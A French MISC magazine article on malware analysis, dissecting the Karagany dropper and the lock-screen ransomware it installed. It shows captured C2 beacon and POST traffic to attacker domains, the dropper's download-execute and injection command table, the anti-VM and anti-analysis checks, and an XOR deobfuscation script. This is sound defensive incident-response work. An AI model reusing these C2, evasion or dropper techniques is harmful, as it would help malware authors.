Rencontre avec le malware Karagany

Magazine
Marque
MISC
HS n°
Numéro
7
Mois de parution
mai 2013
Domaines


Résumé

Lors de la capture ou de la découverte d'un malware dans un environnement comptant des milliers de postes, les questions du « management » ne se feront pas attendre. Quels sont les risques réels de ce logiciel malicieux ? Était-ce une attaque ciblée ? Est-ce que des données confidentielles ont été volées ? En un mot, quels sont les risques effectifs provenant de cette attaque ?


Body

Nous allons disséquer un malware découvert sur un poste compromis. Peu importe comment a été découvert le maliciel dans ce cas, le but de cet article n'étant pas de proposer des moyens de découverte ou d’acquisition de logiciels malveillants mais bien de comprendre le trafic généré, ceci permettant de proposer une analyse de risques détaillée.

Peu étonnant, le binaire découvert est « packé ». Nous allons donc le « dé-packer » pour découvrir qu'en fait il s'agit d'un « dropper » permettant de placer n'importe quel binaire. Le deuxième malware qui, dans ce cas, a infecté la victime est un « ransomware » qui sera également analysé afin de savoir si des fonctionnalités avancées de « rootkit » ou de capture de frappe clavier (« keylogger ») existent.

1. Analyse comportementale

La première phase de l'analyse passe par l'analyse comportementale. Celle-ci comprend un laboratoire avec plusieurs machines (souvent virtuelles) permettant de simuler un environnement réel, mais sans connexions extérieures effectives (ceci afin d'éviter au logiciel de se répandre, d'infecter d'autres systèmes ou d'envoyer du spam par exemple). Nous infectons volontairement plusieurs machines tournant sous Windows XP et enregistrons le comportement de ces machines.

1.1 Détection de la souche

Afin de savoir à quoi nous avons affaire, nous scannons le fichier avec VirusTotal [vt]. Il est important de noter que VirusTotal partage les hashes et les fichiers avec les éditeurs d'antivirus ou autres constructeurs de systèmes de sécurité. Il ne convient donc pas à tous les cas de recourir à ce service. Il est en revanche toujours possible de chercher le hash sur VirusTotal afin de vérifier s'il s'agit d'un sample connu ou non.

Le résultat semble montrer que nous sommes en présence d'un malware au doux nom de « Karagany » ou « Dapato » (extrait du résultat de VirusTotal) :

...

Microsoft TrojanDownloader:Win32/Karagany.L

Kaspersky Trojan-Dropper.Win32.Dapato.bpuq

...

1.2 Capture réseau

Lors de la capture réseau, nous découvrons plusieurs requêtes HTTP (GET et POST).

Tout d'abord les requêtes POST :

POST /image/45250250/price.php HTTP/1.1

Host: logunasens10.in

Content-Length: 269

Connection: Keep-Alive

Cache-Control: no-cache

....

...........................

............................2.......................1......................

0..................

...

/..................

............................2.............................................J:!!....u*:8$&'>"$w%9i#&'?! ?"....2...I...

La requête contient des données binaires ne nous fournissant pas plus d'informations pour le moment. Le but sera de déterminer ce qui se cache à l'intérieur de ce « blob » binaire par ingénierie inverse.

Voyons voir de plus près les requêtes GET :

GET /webhp HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET4.0C; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)

Host: www.google.com

Et tout de suite après :

GET /fimage/gate.php?uid={7B14B01F-2EE1-340F-5FEF-321E399DE5F7}&user=45250250&os=2 HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.1 (compatible; MSIE 7.0; Windows NT 5.1; SV1)

Host: fglolituns.in

Les requêtes GET se retrouvent régulièrement plusieurs fois par minute, contrairement aux requêtes POST qui ne se retrouvent que lors de l'infection initiale. Nous pouvons déjà deviner que les requêtes en direction de « google.com » sont certainement des tests afin de vérifier si la victime peut atteindre un site Internet.

1.3 Capture système

Pour ce type de capture, il existe plusieurs outils ; notre préférence se tourne vers « Process Monitor » de Microsoft (anciennement « Sysinternals ») [sysint].

La capture système nous fournit quelques pistes sur les modifications faites sur notre hôte Windows XP, comme par exemple une entrée dans la base de registre permettant de s'ouvrir au démarrage : HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.

La création de deux dossiers : C:\Documents and Settings\[]\Local Settings\Application Data\Microsoft\VSComponentset C:\Documents and Settings\[]\Local Settings\Application Data\Microsoft\Windows\xxxx. La référence à « xxxx » semblant être un nombre au hasard sur quatre chiffres.

Dans le dernier dossier, nous trouvons notre binaire (copié depuis la source de l'infection), ainsi qu'un fichier sans extension qui semble contenir des données chiffrées ou obfusquées.

 

fig0

 

Fig 0. Extrait des fichiers créés

Jusqu'ici, nous sommes en face de comportements standards associés à la plupart des logiciels malveillants.

2. Analyse dynamique et statique

Nous tentons d'extraire les chaînes de caractères imprimables, mais nous remarquons rapidement que le spécimen est « packé ». Un article expliquant comment « dé-packer » une variante de « Karagany » existe [rootbsd], mais malheureusement, cette marche à suivre ne fonctionne pas pour cette variante. En effet, la fonction VirtualAlloc()n'est pas chargée au démarrage de l'application, mais certainement pendant l'exécution. Nous allons donc, malgré tout, nous inspirer de la méthode de « rootbsd » pour déchiffrer cette variante.

2.1 « Unpacking »

Après l'analyse des premières fonctions, nous remarquons un appel étrange sur le registre « ECX » :

00401654 call ECX

Nous mettons un breakpoint sur cet appel et nous lançons notre « malware ». Le breakpoint est atteint et nous remarquons que ce CALL nous amène dans une région de la mémoire qui a été allouée pendant l'exécution :

003B0688    B8 10044100      MOV EAX,410410

003B068D    E9 D6220000      JMP 003B2968

Nous suivons le saut (JMP), nous nous retrouvons dans une fonction comportant un nombre assez important d'appels.

Après un certain temps à suivre les différents appels, nous trouvons la fonction utilisée pour la copie du binaire en mémoire :

003B1B29    52               PUSH EDX

003B1B2A    E8 79EFFFFF      CALL 003B0AA8 <--- Copie en mémoire

003B1B2F  EB B4            JMP SHORT 003B1AE5

Les paramètres de la fonction sont les suivants :

0012FACC   003E1000 <--- Destination

0012FAD0   00157E48 <--- Source

0012FAD4   00003800 <--- Taille

Nous allons donc pointer sur la région « 00157E48 » et sauvegarder cette zone mémoire. Nous cherchons la chaîne de caractères contenant « MZ » et qui correspond au début d'un binaire Windows  (This program cannot be run in DOS).

2.2 Ingénierie inverse

Le nouveau binaire ainsi extrait semble plus intéressant qu’auparavant sous la loupe d'IDA. En effet, nous remarquons tout de suite les appels aux fonctions (Imports qui n'étaient pas présentes avant) permettant de faire des requêtes HTTP comme : InternetOpenA dans wininet.dllet HttpSendRequestA dans wininet.dll.

En revanche, nous ne trouvons pas les URL découvertes durant l'analyse comportementale. En effet, ces URL sont obfusquées dans une ressource comme nous le verrons plus bas.

Nous remarquons effectivement une nouvelle ressource dans le fichier extrait, nommée « RCData » et contenant des données chiffrées ou obfusquées.

 

fig1

 

Fig 1. Extrait de la ressource « RCData »

Rappelons que notre but, dans ce cas, est de trouver quelles sont les fonctionnalités de ce malware et comment déchiffrer le trafic (principalement dans les requêtes POST vues dans l'analyse comportementale).

Nous retrouvons les fonctions permettant la création des dossiers découverts précédemment dans l'analyse comportementale :

- Création du dossier Microsoft :

00403504 push    offset aMicrosoft               ; "\\Microsoft"

00403509 lea     eax, [ebp+PathName]

0040350F push    eax                             ; lpString1

00403510 call    ds:lstrcatW

00403516 push    esi                             ; lpSecurityAttributes

00403517 lea     eax, [ebp+PathName]

0040351D push    eax                             ; lpPathName

0040351E call    ds:CreateDirectoryW

- Création du dossier VSComponents :

0040364E push    offset aVscomponents            ; "\\VSComponents"

00403653 lea     eax, [ebp+String2]

00403659 push    eax                             ; lpString1

0040365A call    edi ; lstrcatW

0040365C mov     esi, ds:CreateDirecotryW

- Création du dossier Windows :

00403684 mov     [esp+10h+pcbBuffer], offset aWindows ; "\\Windows"

0040368B push    eax                             ; lpString1

0040368C call    edi ; lstrcatW

0040368E push    0                               ; lpSecurityAttributes

00403690 lea     eax, [ebp+PathName]

00403696 push    eax                             ; lpPathName

00403697 call    esi ; CreateDirectoryW

Nous remarquons une fonction qui semble intéressante (que nous avons renommée ci-dessous XOR_Loop) comprenant une boucle avec une opération « XOR » :

00403586 push    eax

00403587 lea     eax, [ebp+String]

0040358D push    0Eh

0040358F push    eax

00403590 call    Xor_Loop                

Les paramètres (au nombre de trois), correspondent à :

1. Le résultat d'une fonction calculant la longueur d'une chaîne de caractères,

2. 0x0e en hexadécimal,

3. Un pointeur sur une chaîne de caractères (la même chaîne dont la longueur a été calculée au point 1).

Nous nous rendons rapidement compte que cette fonction « XOR » cette chaîne de caractères (500 octets) avec une clé de longueur 5 octets. Voici le code Python de cette fonction :

import sys

f = open(configfile, 'rb')

inc = 0

for bytes_ in f.read():

 key = 0e

 key = int(key,16) + inc

 bytes_enc = chr(ord(bytes_) ^ key)

 if inc <= 3:

  inc = inc+1

 else:

  inc = 0

 sys.stdout.write(bytes_enc)

f.close()

La clé commence avec la valeur 0x0e puis s'incrémente jusqu'à atteindre 0x12 (raison pour laquelle la clé fait 5 octets). Chaque byte est « XOR » avec la clé correspondante. Il est intéressant de regarder de plus près cette chaîne de caractères passée dans la boucle d'obfuscation. Voici un extrait :

 

fig2

 

Fig 2. Extrait de la chaîne de caractères avant la fonction de « XOR »

Nous pouvons voir que, ce qui semble être une chaîne de 500 caractères, est en fait plusieurs chaînes mises à la suite. La raison pour laquelle l'utilitaire strings n'a pas découvert ces chaînes, est qu'elles ne sont pas terminées par l'octet de terminaison d'une chaîne en C (0x00). En effet, après désobfuscation, nous retrouvons les terminaisons (0x10 xor 0x10 donne 0x00) et cette grande chaîne devient plusieurs chaînes obfusquées (qu'il faudra de nouveau repasser à travers la routine « XOR » pour la voir en clair).

 

fig3

 

Fig 3. Extrait de la chaîne de caractères après la fonction de « XOR ». Remarquez les terminaisons 0x00.

Puis, en bouclant à travers ces chaînes de caractères, la fonction permet de prendre une autre chaîne au hasard et de la repasser dans la mécanique de désobfuscation pour utiliser cette chaîne de caractères dans le nom du futur exécutable qui va être créé par la suite. Il sera possible, par exemple, de prévoir tous les noms des possibles exécutables créés par « Karagany ».

 

fig3b

 

Fig 3b. Schéma du flux des données

Puisque nous avons découvert la fonction d'obfuscation, essayons de voir comment celle-ci est utilisée dans le binaire. Peut-être est-ce la même pour toutes les ressources ?

Nous trouvons la fonction qui lit la ressource découverte plus haut (Fig. 1) :

...

00402FC4 call    ds:FindResourceW

00402FCA mov     ebx, eax

00402FCC test    ebx, ebx

00402FCE jz      short loc_40301A

00402FD0 push    edi

00402FD1 push    ebx                             ; hResInfo

00402FD2 push    esi                             ; hModule

00402FD3 call    ds:SizeofResource

00402FD9 push    ebx                             ; hResInfo

00402FDA push    esi                             ; hModule

00402FDB mov     edi, eax

00402FDD call    ds:LoadResource

...

Armés de cette fonction de désobfuscation et de la structure du fichier de configuration, nous pouvons déchiffrer toutes les ressources présentes avec ce binaire. En effet, nous avons remarqué également que les 32 premiers octets des ressources ne sont pas inclus dans la routine de désobfuscation. Voici donc le script permettant de désobfusquer toutes les ressources de « Karagany » :

#!/usr/bin/python

# XOR a file with a hex key (Karagany config files)

# Usage: xor.py [file] [key in hex without 0x, example : 0e]

### example : xor.py config_File 0e

# Marc Doudiet [marc.doudiet@gmail.com]

#

import sys

f = open(sys.argv[1], 'rb')

### Don't XOR 32 bytes header

for byte_header in f.read(32):

 sys.stdout.write(byte_header)

##########

inc = 0

for bytes_ in f.read():

 key = sys.argv[2]

 key = int(key,16) + inc

 bytes_enc = chr(ord(bytes_) ^ key)

 if inc <= 3:

  inc = inc+1

 else:

  inc = 0

 sys.stdout.write(bytes_enc)

f.close()

Nous commençons par la ressource découverte après avoir « dépacké » le malware :

$ ./xor_v2.py rcdata-ressource.bin 0e |hexdump -C

00000000 04 00 00 00 b0 00 00 00 00 00 00 00 00 00 00 00 |................|

00000010 00 00 00 00 01 00 00 00 01 00 00 00 0e 00 00 00 |................|

00000020 0f 00 00 00 01 10 00 00 00 00 00 00 00 00 00 00 |................|

00000030 00 00 00 00 00 00 00 00 19 00 00 00 02 10 00 00 |................|

00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|

00000050 04 00 00 00 03 10 00 00 00 00 00 00 00 00 00 00 |................|

00000060 00 00 00 00 00 00 00 00 04 00 00 00 04 10 00 00 |................|

00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|

00000080 6c 6f 67 75 6e 61 73 65 6e 73 31 30 2e 69 6e 2f |logunasens10.in/|

00000090 69 6d 61 67 65 2f 34 34 31 30 30 31 30 30 2f 70 |image/44100100/p|

000000a0 72 69 63 65 2e 70 68 70 58 02 00 00 73 4c 0b 00 |rice.phpX...sL..|

000000b0

Voici le domaine et l'URL que nous cherchions !

Testons la désobfuscation sur les données du trafic capturé dans la requête POST :

$ ./xor_v2-noheader.py bin_POST 0e |hexdump -C

00000000 04 02 1a 19 12 0e 0f 1d 10 12 0e 0f 10 11 12 0e |................|

00000010 0f 10 11 12 0e 0f 10 10 12 0e 0f 11 11 12 0e 01 |................|

00000020 10 11 12 04 00 00 00 09 20 00 00 00 00 00 00 00 |........ .......|

00000030 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 01 |................|

00000040 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ...............|

00000050 00 00 00 04 00 00 00 08 20 00 00 00 00 00 00 00 |........ .......|

00000060 00 00 00 00 00 00 00 00 00 00 00 11 00 00 00 02 |................|

00000070 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ...............|

00000080 00 00 00 05 00 00 00 04 20 00 00 00 00 00 00 00 |........ .......|

00000090 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 03 |................|

000000a0 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ...............|

000000b0 00 00 00 04 00 00 00 07 20 00 00 00 00 00 00 00 |........ .......|

000000c0 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 03 |................|

000000d0 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|

000000e0 00 00 00 3e f3 97 44 35 31 30 00 00 00 00 64 38 |...>..D510....d8|

000000f0 34 37 34 37 35 30 2d 34 66 37 37 66 33 37 35 31 |474750-4f77f3751|

00000100 2e 30 2e 30 09 04 00 00 20 00 00 00 58 02 00 00 |.0.0.... ...X...|

00000110 1d 1b                                             |..|

Nous découvrons des identifiants uniques (d8464750-4f77f475 générés d'après le nom d'utilisateur), ainsi que ce qui semble être un numéro de version 1.0.0.

Allons encore plus loin et regardons ce qui se trouve dans le fichier créé dans le même dossier que le binaire et qui semblait être obfusqué :

$ ./xor_v2.py 71629988 0e |hexdump -C |more

00000000 02 00 00 00 54 50 00 00 00 00 00 00 00 00 00 00 |....TP..........|

00000010 00 00 00 00 01 00 00 00 01 00 00 00 0e 00 00 00 |................|

00000020 04 00 00 00 01 60 00 00 00 00 00 00 00 00 00 00 |.....`..........|

00000030 00 00 00 00 00 00 00 00 00 50 00 00 02 60 00 00 |.........P...`..|

00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|

00000050 27 75 42 39 4d 5a 90 00 03 00 00 00 04 00 00 00 |'uB9MZ..........|

00000060 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 |............@...|

00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|

*

00000090 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c |............!..L|

000000a0 cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 |.!This program c|

000000b0 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 |annot be run in |

000000c0 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00

Voilà qui est très intéressant, nous découvrons un binaire Windows ! Enlevons les premiers octets avant le « MZ » et vérifions avec VirusTotal à quoi correspond ce binaire :

...

Microsoft Trojan:Win32/Ransom.JW

ESET-NOD32 a variant of Win32/LockScreen.ALI

...

Il s'agit en fait d'un malware « droppé » par « Karagany ». C'est un type de « ransomware », affichant un message voulant faire peur à l'utilisateur et bloquant l'écran par exemple, obligeant l'utilisateur à payer une rançon pour retrouver ses données [xylitol].

Avant de regarder plus en détails ce nouveau spécimen, finissons de regarder les fonctionnalités de « Karagany ». Dans le fichier désobfusqué, nous pouvons également trouver l'utilité de plusieurs octets.

Les octets 5 et 6 correspondent aux fonctionnalités que peut fournir le « dropper » :

 

fig4

 

Fig. 4 : Octets permettant d'activer les fonctionnalités du « malware »

En effet, nous nous retrouvons face à une fonction permettant d'analyser les octets 5 et 6 du fichier de configuration ou de la réponse du serveur (réponse aux requêtes « POST » vues plus haut).

Extrait des sauts conditionnels :

004017D6 push    ebp

004017D7 mov     ebp, esp

004017D9 sub     esp, 0C30h

004017DF push    ebx

004017E0 mov     ebx, [ebp+arg_0]

004017E3 push    esi

004017E4 mov     esi, [ebx+8]

004017E7 mov     eax, [esi+4]

004017EA push    edi

004017EB mov     edi, ecx

004017ED cmp     eax, 3001h

004017F2 jz      loc_401B6C

004017F8 cmp     eax, 3009h

004017FD jz      loc_401B6C

00401803 cmp     eax, 3002h

00401808 jz      loc_401B1E

0040180E cmp     eax, 301Bh

00401813 jz      loc_401B1E

00401819 cmp     eax, 3003h

0040181E jnz     short loc_401888

...

Le tableau 1, résume les fonctions possibles fournies par ce malware.

 

Octets (hex)

Fonctions

3001

Télécharge un fichier

3002

Télécharge un fichier + crée un processus (CreateProcessW())

3003

Télécharge un fichier + « runas » (ShellExecuteW())

3004

Télécharge un fichier + charge une librairie (LoadLibraryW())

3005

Écrit les données reçues dans un fichier + « open » (ShellExecuteW())

3006

Écrit les données reçues dans un fichier + crée un processus (CreateProcessW())

3007

Écrit les données reçues dans un fichier + « runas » (ShellExecuteW())

3008

Écrit les données reçues dans un fichier + charge une librairie (LoadLibraryW())

3009

Télécharge un fichier + « open » (ShellExecuteW())

300C

Injection d'un processus

3019

Télécharge un fichier + charge une librairie (LoadLibraryW()) (idem 3004)

301B

Télécharge un fichier + crée un processus (CreateProcessW()) (idem 3002)

301C

Écrit les données reçues dans un fichier + Injection d'un processus

301D

Écrit les données reçues dans un fichier (XOR)

301E

Écrit les données reçues dans un fichier (XOR)

301F

Vérifie que les premiers octets correspondent à « MZ » et « PE »

3021

Définit un événement (SetEvent())

6002

Injection d'un processus

6001

Aucune fonction

Tableau 1 : Liste des fonctions de « Karagany »

2.3 Analyse du « Ransomware »

En ayant extrait les données du fichier obfusqué, nous nous retrouvons en face d'un nouveau type de logiciel malveillant. Nous n'allons pas nous attarder sur celui-ci étant donné qu'un grand nombre d'articles ont déjà été publiés décrivant comment fonctionnent ces maliciels.

Nous nous concentrons sur le processus nécessaire pour analyser ce type de malware.

Ce binaire comprend quelques fonctions basiques visant à se protéger de l'analyse automatisée. Pour ce faire, il vérifie si les chaînes « vbox », « VM », « VirtualBox », « Oracle », « Virtual » ou « ware » se trouvent dans les clés de registre suivantes :

HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System

HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0

HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0

Puis, il scanne tous les processus en cours et vérifie s'il découvre les chaînes de caractères suivantes dans les noms des processus :

iptools

HttpAnalyzerStdV

snif

traf

wireshark

VBox

vmtools

mstsc

rdpclip

Nous trouvons également les URL suivantes :

http://ngoodiny50.in/image/gate.php

http://ngoodiny60.in/image/gate.php

http://ngoodiny70.in/image/gate.php

http://ngoodiny80.in/image/gate.php

http://ngoodiny90.in/image/gate.php

Souvenons-nous, les requêtes que nous avions observées étaient de la forme suivante :

.../gate.php?uid={xxx}&user=xxxx&os=xxxx

Voici la description des valeurs :

.../gate.php?uid={[partie du volume ID (trouvée grâce à mountvol.exe)]}&user=[id unique du vendeur]&os=[définition du système d'exploitation]

Le champ user correspond certainement à l'utilisateur vendant ces services en tant que Pay-per-install [PPI].

Lorsque nous lançons ce maliciel dans les bonnes conditions (depuis le bon chemin et sans activer les « anti-vm »), nous nous retrouvons avec un écran gris (plein écran) bloquant la combinaison de touches [Alt]+[Tab] et qui nous oblige à entrer un code. Si nous entrons le bon code, l'écran est débloqué.

Notons au passage que l'écran gris provient certainement du fait que les domaines ne sont plus accessibles à l'heure actuelle, et donc de l'impossibilité du malware à télécharger les ressources correspondantes. Il existe un foisonnement de ressources en ligne pour avoir une idée des images affichées [scareware].

 

fig5

 

Pour nous permettre de trouver un code correct, nous patchons ce malware, ceci nous permettant de facilement suivre les fonctions de vérification du « voucher » et ainsi éviter d'être bloqué par le malware.

Le premier « patch » permet d'éviter que les touches [Alt]+[Tab] soient bloquées :

Désactive le blocage de « alt-tab »

004033B4 push 1 ; fsModifiers ← modifier avec « push 0  »

004033B6        push    eax             ; id

004033B7        push    edi             ; hWnd

004033B8 call    ds:RegisterHotKey

Celui-ci permet de modifier le style de la fenêtre (évite que la fenêtre soit en plein écran et impossible à déplacer) :

Changer le type de fenêtre

00403388 push 91000000h ; dwStyle ← modifier avec « push 11000000h »

0040338D push    edi             ; lpWindowName

0040338E push    edi             ; lpClassName

0040338F push    esi             ; dwExStyle

00403390 call    ds:CreateWindow

Rend les vérifications « anti-vm » (voir plus haut) inactives. En mettant le résultat (« eax ») à 0 :

Désactive l' « antivm »

00402C8E mov al, [ebp+IndicVM_status] ← Modifier avec «XOR eax,eax »

00402C91 leave

Une boucle infinie (while 1) permet de s'injecter dans plusieurs processus. Ce patch ne le laisse s'injecter qu'une seule fois :

Évite l'injection dans plusieurs processus

00402087 push 10 ; dwMilliseconds ← Modifier avec « push -1 »

00402089 call    ds:Sleep        ; Indirect Call Near Procedure

Ces modifications permettent de facilement voir que le « ransomware » fait des requêtes HTTP afin de vérifier les « vouchers » et renvoie des commandes afin de débloquer l'écran.

L'analyse plus en détails de ce type de malware sera laissée comme exercice au lecteur. En effet, nous pouvons d'ores et déjà répondre aux questions qui avaient été énoncées au début de l'article.

Conclusion

L'étude approfondie du logiciel malveillant nous permet de répondre aux questions soulevées lors de la découverte de l'infection.

Quels sont les risques réels inhérents à cette infection ? Était-ce une attaque ciblée ?

Sans prendre trop de risque, nous pouvons affirmer que la charge malveillante (à savoir le « ransomware ») ne correspond pas à une attaque ciblée. En effet, le but de ce type de logiciel n'est pas, par exemple, de voler des informations confidentielles, mais bien d'infecter le maximum d'utilisateurs (particulièrement des utilisateurs finaux) et de recevoir des paiements afin de débloquer la machine infectée.

En revanche, il est important de noter que le cheval de Troie « Karagany » n'est pas aussi « inoffensif ». Effectivement, en analysant la liste des fonctions possibles de la part de ce « dropper » (voir tableau 1), il serait aisé d’utiliser ce « malware » afin de perpétrer des crimes présentant une menace accrue pour un environnement d'entreprise. Il serait donc prioritaire de vérifier que ce cheval de Troie ne soit pas présent sur d'autres machines du système d'information.

Est-ce que des données ont été volées ?

Grâce à la découverte de la routine de désobfuscation et armés de notre script Python, nous pouvons sortir tous les logs contenant du trafic Internet (proxy, firewall,…), extraire les requêtes pointant sur les domaines découverts dans les binaires et ainsi, savoir exactement quelles données et commandes ont été exécutées sur le ou les poste(s) compromis.

Remerciements

Merci à François Deppierraz et à « cam0 » pour leurs relectures attentives.

Notes

[vt] https://www.virustotal.com

[sysint] http://technet.microsoft.com/en-us/sysinternals/bb545027

[rootbsd] http://code.google.com/p/malware-lu/wiki/en_unpack_Karagny_L

[xylitol] http://www.xylibox.com/2012/08/gangstaservice-winlock-affiliate.html

[PPI] www.usenix.org/events/sec11/tech/full_papers/Caballero.pdf

[scareware] https://www.botnets.fr/index.php/Casier

 



Articles qui pourraient vous intéresser...

Introduction aux TPM (Trusted Platform Modules)

Magazine
Marque
MISC
HS n°
Numéro
22
Mois de parution
octobre 2020
Domaines
Résumé

Les TPM (Trusted Platform Modules), brique de base du Trusted Computing, ont été imaginés il y a une vingtaine d’années, et pourtant ils ne sont pas très utilisés malgré leurs réelles qualités. Comment expliquer cela ? Cet article tend à fournir de premiers éléments de réponse.

Identification automatique de signaux grâce à la fonction d’autocorrélation

Magazine
Marque
MISC
HS n°
Numéro
22
Mois de parution
octobre 2020
Domaines
Résumé

Vous connaissiez la chasse au trésor… Initiez-vous maintenant à la chasse au signal (signal hunting en anglais). La chasse au signal consiste à rechercher les signaux qui nous entourent dans l’espace invisible du spectre électromagnétique. Mais plus besoin de rester l’oreille collée sur un haut-parleur à tourner le bouton pour régler la fréquence. La SDR (Software Defined Radio) a révolutionné tout cela : une radio numérique et un PC est vous voilà armé pour découvrir ce monde que les professionnels dénomment le SIGINT (SIGnal INTelligence).

Avec le Spanning Tree Protocol, suis-je en sécurité dans mon réseau ?

Magazine
Marque
MISC
HS n°
Numéro
22
Mois de parution
octobre 2020
Domaines
Résumé

Dans le cadre des hors-séries sur les retours aux fondamentaux, cet article aura comme sujet le protocole STP (Spanning Tree Protocol). Inventé en 1985 par Radia Perlman, il permet principalement d’assurer une liaison réseau redondante et sans boucle. Ce protocole étant primordial au sein d’un réseau de moyenne à grande envergure, s’il n’est pas correctement configuré, cela pourra alors permettre à des attaquants de compromettre le réseau.

Return oriented programming 101

Magazine
Marque
MISC
HS n°
Numéro
22
Mois de parution
octobre 2020
Domaines
Résumé

Le Returned Oriented Programming (ou ROP) est une technique permettant d'exploiter des programmes disposant de la protection NX (No eXecute) ou DEP (Data Execution Prevention). L'objectif de cet article est de vous présenter les bases du ROP, ainsi que l’exploitation pas-à-pas d’un programme d’entraînement via l'utilisation de la bibliothèque python pwntools [1]. Dans un souci de simplicité, la démonstration sera réalisée sur un programme s'exécutant sur un système Linux 64 bits. Bien entendu, cette démonstration reste applicable sur d'autres architectures (ARM, MIPS, etc.).

Use-After-Free dans le noyau Linux

Magazine
Marque
MISC
HS n°
Numéro
22
Mois de parution
octobre 2020
Domaines
Résumé

Pièce logicielle qui a accompagné les deux dernières décennies, le noyau Linux est un système relativement complet qui dispose d’un allocateur de mémoire dynamique. Comme tous les logiciels classiques, le noyau est ainsi régulièrement sujet à des vulnérabilités de type Use-After-Free via cet allocateur.